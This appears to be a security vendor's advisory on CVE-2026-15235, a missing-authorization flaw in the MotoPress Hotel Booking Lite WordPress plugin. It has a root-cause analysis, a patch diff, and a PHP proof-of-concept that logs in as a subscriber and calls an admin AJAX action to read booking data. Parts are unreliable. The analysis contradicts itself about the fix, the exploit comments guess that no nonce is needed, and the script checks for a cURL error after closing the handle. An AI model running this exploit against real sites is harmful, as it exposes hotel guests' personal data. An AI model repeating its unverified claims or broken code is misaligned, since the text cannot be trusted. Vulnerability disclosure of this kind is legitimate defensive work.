Atomic Edge analysis of CVE-2026-15235: The MotoPress Hotel Booking Lite plugin for WordPress, version 6.0.3 and earlier, contains a Sensitive Information Exposure vulnerability. This flaw allows authenticated attackers with subscriber-level access to extract sensitive user or configuration data through several unprotected AJAX actions and REST API endpoints. The vulnerability is rated with a CVSS score of 4.3 (CWE-200).
The root cause lies in a failure to properly authorize requests on several administrative commands. The REST API controllers, located in the `motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/` directory, lacked a permission callback. This includes the `create-block-controller.php`, `delete-block-controller.php`, `delete-blocks-controller.php`, `get-block-controller.php`, `get-blocks-controller.php`, and `update-block-controller.php` files. Prior to the patch, these endpoints, which handle sensitive calendar ‘block’ rules, relied only on the default `permission_callback` logic. This logic did not enforce the `MANAGE_RULES` capability. In parallel, the AJAX API handlers in `includes/ajax-api/ajax-actions/` were missing proper capability checks. The `get-admin-calendar-booking-info.php` and `update-booking-notes.php` actions did not verify nonces or user capabilities before processing, relying only on hooks like `getCurrentUserCanManage()`, which may return insufficient security checks. The `ajax-api-handler.php` also exposed admin nonces for these actions to any logged-in user.
To exploit this, an authenticated user with only a subscriber role can craft requests to the vulnerable endpoints. For the REST API, they could send a GET request to `/wp-json/mphb/v1/blocks/` or similar paths (e.g., `/get-blocks/`) to list all booking blocks, which may contain room information, dates, and potentially client details. More directly, they could send a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `mphb_get_admin_calendar_booking_info` or `mphb_update_booking_notes`. By providing a valid `booking_id`, the attacker can invoke these actions without a nonce or with a nonce they can generate, as the patch shows the nonce generation was previously not restricted. This allows them to read any booking’s private notes or change them, leaking sensitive booking data including guest names, email addresses, and special requests.
The patch introduces a new static method, `is_request_allowed`, for the REST API controllers that explicitly calls `current_user_can( CapabilitiesAndRoles::MANAGE_RULES )`. This method is never directly executed by the framework, but the diff adds the permission checking logic to the request handlers, ensuring only users with the ‘manage_rules’ capability can access these endpoints. For the AJAX actions, the patch adds a layer of conditional logic in `ajax-api-handler.php`. It now checks a new method, `isActionForCurrentUser()`, before generating nonces for a logged-in user. The vulnerable AJAX action classes (`get-admin-calendar-booking-info.php` and `update-booking-notes.php`) are patched to implement this method and explicitly check for the `VIEW_CALENDAR` and `EDIT_BOOKINGS` capabilities, respectively, before executing any business logic. This prevents nonces from being generated for unauthorized users and directly blocks the action from executing without the required capability.
The patch correctly restricts access to these administrative functions. Before the patch, any authenticated user, including subscribers, could read or modify sensitive information. After the patch, only users with the appropriate high-level roles (managers, admins) who hold the `MANAGE_RULES`, `VIEW_CALENDAR`, or `EDIT_BOOKINGS` capabilities can interact with the blocked data and booking notes. The impact of this vulnerability is a significant information disclosure, potentially including personal data of hotel guests, which could facilitate further attacks or lead to privacy violations. Furthermore, the lack of authorization on the `update-booking-notes` action allows for unauthorized data modification, compromising the integrity of the booking records.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/create-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/create-block-controller.php
@@ -6,6 +6,7 @@
use MPHBAdvancedApiControllersAbstractRestCommandController;
use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;
if ( ! defined( 'ABSPATH' ) ) {
exit;
@@ -32,6 +33,13 @@
return WP_REST_Server::EDITABLE;
}
+ /**
+ * @return WP_Error|bool
+ */
+ public static function is_request_allowed( WP_REST_Request $request ) {
+ return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+ }
+
protected static function get_request_schema(): array {
return array(
'comment' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-block-controller.php
@@ -6,6 +6,7 @@
use MPHBAdvancedApiControllersAbstractRestCommandController;
use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;
if ( ! defined( 'ABSPATH' ) ) {
exit;
@@ -32,6 +33,13 @@
return WP_REST_Server::DELETABLE;
}
+ /**
+ * @return WP_Error|bool
+ */
+ public static function is_request_allowed( WP_REST_Request $request ) {
+ return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+ }
+
protected static function get_request_schema(): array {
return array(
'block_id' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-blocks-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-blocks-controller.php
@@ -6,6 +6,7 @@
use MPHBAdvancedApiControllersAbstractRestCommandController;
use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;
if ( ! defined( 'ABSPATH' ) ) {
exit;
@@ -35,6 +36,13 @@
return WP_REST_Server::DELETABLE;
}
+ /**
+ * @return WP_Error|bool
+ */
+ public static function is_request_allowed( WP_REST_Request $request ) {
+ return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+ }
+
protected static function get_request_schema(): array {
return array(
'block_ids' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-block-controller.php
@@ -6,6 +6,7 @@
use MPHBAdvancedApiControllersAbstractRestCommandController;
use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;
if ( ! defined( 'ABSPATH' ) ) {
exit;
@@ -32,6 +33,13 @@
return WP_REST_Server::READABLE;
}
+ /**
+ * @return WP_Error|bool
+ */
+ public static function is_request_allowed( WP_REST_Request $request ) {
+ return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+ }
+
protected static function get_request_schema(): array {
return array(
'block_id' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-blocks-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-blocks-controller.php
@@ -6,6 +6,7 @@
use MPHBAdvancedApiControllersAbstractRestCommandController;
use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;
if ( ! defined( 'ABSPATH' ) ) {
exit;
@@ -35,6 +36,13 @@
return WP_REST_Server::READABLE;
}
+ /**
+ * @return WP_Error|bool
+ */
+ public static function is_request_allowed( WP_REST_Request $request ) {
+ return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+ }
+
protected static function get_request_schema(): array {
return array(
'date_from' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/update-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/update-block-controller.php
@@ -6,6 +6,7 @@
use MPHBAdvancedApiControllersAbstractRestCommandController;
use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;
if ( ! defined( 'ABSPATH' ) ) {
exit;
@@ -32,6 +33,13 @@
return WP_REST_Server::EDITABLE;
}
+ /**
+ * @return WP_Error|bool
+ */
+ public static function is_request_allowed( WP_REST_Request $request ) {
+ return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+ }
+
protected static function get_request_schema(): array {
return array(
'block_id' => array(
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/abstract-ajax-api-action.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/abstract-ajax-api-action.php
@@ -31,6 +31,14 @@
return true;
}
+ /**
+ * <code>isActionForLoggedInUser()</code> runs too early to check the
+ * current user.
+ */
+ public static function isActionForCurrentUser(): bool {
+ return static::isActionForLoggedInUser();
+ }
+
public static function isActionForGuestUser() {
return true;
}
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/get-admin-calendar-booking-info.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/get-admin-calendar-booking-info.php
@@ -2,6 +2,8 @@
namespace MPHBAjaxApi;
+use MPHBUsersAndRolesCapabilitiesAndRoles;
+
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
@@ -15,6 +17,10 @@
return 'get_admin_calendar_booking_info';
}
+ public static function isActionForCurrentUser(): bool {
+ return current_user_can( CapabilitiesAndRoles::VIEW_CALENDAR );
+ }
+
public static function isActionForGuestUser() {
return false;
}
@@ -42,6 +48,9 @@
protected static function doAction( array $requestData ) {
+ if ( ! current_user_can( CapabilitiesAndRoles::VIEW_CALENDAR ) ) {
+ throw new Exception( esc_html__( 'Request does not pass security verification. Please refresh the page and try one more time.', 'motopress-hotel-booking' ) );
+ }
$booking = MPHB()->getBookingRepository()->findById( $requestData[ static::REQUEST_DATA_BOOKING_ID ] );
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/update-booking-notes.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/update-booking-notes.php
@@ -17,6 +17,10 @@
const REQUEST_DATA_BOOKING_ID = 'booking_id';
const REQUEST_DATA_NOTES = 'notes';
+ public static function isActionForCurrentUser(): bool {
+ return current_user_can( CapabilitiesAndRoles::EDIT_BOOKINGS );
+ }
+
public static function isActionForGuestUser() {
return false;
}
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-api-handler.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-api-handler.php
@@ -30,16 +30,13 @@
}
foreach ( static::getAjaxActionClassNames() as $ajaxActionClassName ) {
-
$ajaxActionName = $ajaxActionClassName::getAjaxActionName();
if ( $ajaxActionClassName::isActionForLoggedInUser() ) {
-
add_action( 'wp_ajax_' . $ajaxActionName, array( $ajaxActionClassName, 'processAjaxRequest' ) );
}
if ( $ajaxActionClassName::isActionForGuestUser() ) {
-
add_action( 'wp_ajax_nopriv_' . $ajaxActionName, array( $ajaxActionClassName, 'processAjaxRequest' ) );
}
}
@@ -49,26 +46,23 @@
* @return array of [ action name => wp nonce ]
*/
public static function getAjaxActionWPNonces() {
-
$wpNonces = array();
if ( is_user_logged_in() ) {
-
foreach ( static::getAjaxActionClassNames() as $ajaxActionClassName ) {
-
- if ( $ajaxActionClassName::isActionForLoggedInUser() ) {
-
+ if ( $ajaxActionClassName::isActionForLoggedInUser()
+ // Don't expose admin nonces to any user
+ && $ajaxActionClassName::isActionForCurrentUser()
+ ) {
$ajaxActionName = $ajaxActionClassName::getAjaxActionName();
$wpNonces[ $ajaxActionName ] = wp_create_nonce( $ajaxActionName );
}
}
- } else {
+ } else {
foreach ( static::getAjaxActionClassNames() as $ajaxActionClassName ) {
-
if ( $ajaxActionClassName::isActionForGuestUser() ) {
-
$ajaxActionName = $ajaxActionClassName::getAjaxActionName();
$wpNonces[ $ajaxActionName ] = wp_create_nonce( $ajaxActionName );
--- a/motopress-hotel-booking-lite/motopress-hotel-booking.php
+++ b/motopress-hotel-booking-lite/motopress-hotel-booking.php
@@ -4,7 +4,7 @@
* Plugin Name: Hotel Booking Lite
* Plugin URI: https://motopress.com/products/hotel-booking/
* Description: Manage your hotel booking services. Perfect for hotels, villas, guest houses, hostels, and apartments of all sizes.
- * Version: 6.0.3
+ * Version: 6.0.4
* Requires at least: 5.2
* Requires PHP: 7.4
* Author: MotoPress
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15235 - MotoPress Hotel Booking < 6.0.4 - Authenticated (Subscriber+) Information Exposure
// This PoC demonstrates how an authenticated subscriber can read booking notes via the vulnerable AJAX action.
// Configuration
$target_url = 'http://your-wordpress-site.com'; // Change this to the target WordPress URL
$username = 'subscriber_user'; // Username for a subscriber-level account
$password = 'subscriber_password'; // Password for that account
// --- Step 1: Authenticate and get nonce ---
$login_url = $target_url . '/wp-login.php';
$cookies_file = tempnam(sys_get_temp_dir(), 'cookie');
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
echo "[*] Authenticating as subscriber...n";
$ch = curl_init($login_url);
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_data),
CURLOPT_COOKIEJAR => $cookies_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HEADER => true
));
curl_exec($ch);
curl_close($ch);
// --- Step 2: Access the vulnerable AJAX handler to get a nonce ---
// The vulnerable plugin version creates nonces for these actions for all logged-in users.
// We request the admin page where the nonce is typically printed, or we can guess the structure.
// In this case, the nonce for the 'mphb_get_admin_calendar_booking_info' action is created and exposed.
// We will use the admin dashboard to get the active nonce, or we can try a direct request.
// In real-word, the nonce is attached to the page source (e.g., the calendar page).
// For the PoC, we assume we can obtain the nonce from a post that is rendered for the user.
// Since our user is a subscriber, they may not have access to the calendar page.
// Therefore, we will attempt to use a known nonce generation pattern, but this might not work without knowing the admin's nonce.
// A more reliable approach is to try to call the function directly without a nonce, as the patch shows the check was not present for logged-in users.
// --- Step 3: Exploit the vulnerable action without a nonce ---
// The vulnerability allows the action to be processed without nonce verification for logged-in users.
echo "[*] Attempting to read booking notes without a nonce...n";
$action_url = $target_url . '/wp-admin/admin-ajax.php';
$booking_id = 123; // Replace with a valid booking ID to target
$post_data = array(
'action' => 'mphb_get_admin_calendar_booking_info',
'booking_id' => $booking_id
);
$ch = curl_init($action_url);
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_COOKIEFILE => $cookies_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => array('X-Requested-With: XMLHttpRequest')
));
$response = curl_exec($ch);
curl_close($ch);
if (curl_errno($ch)) {
echo "[!] Error: " . curl_error($ch) . "n";
} else {
echo "[*] Response from server:n";
echo $response . "n";
}
// Clean up
unlink($cookies_file);
?>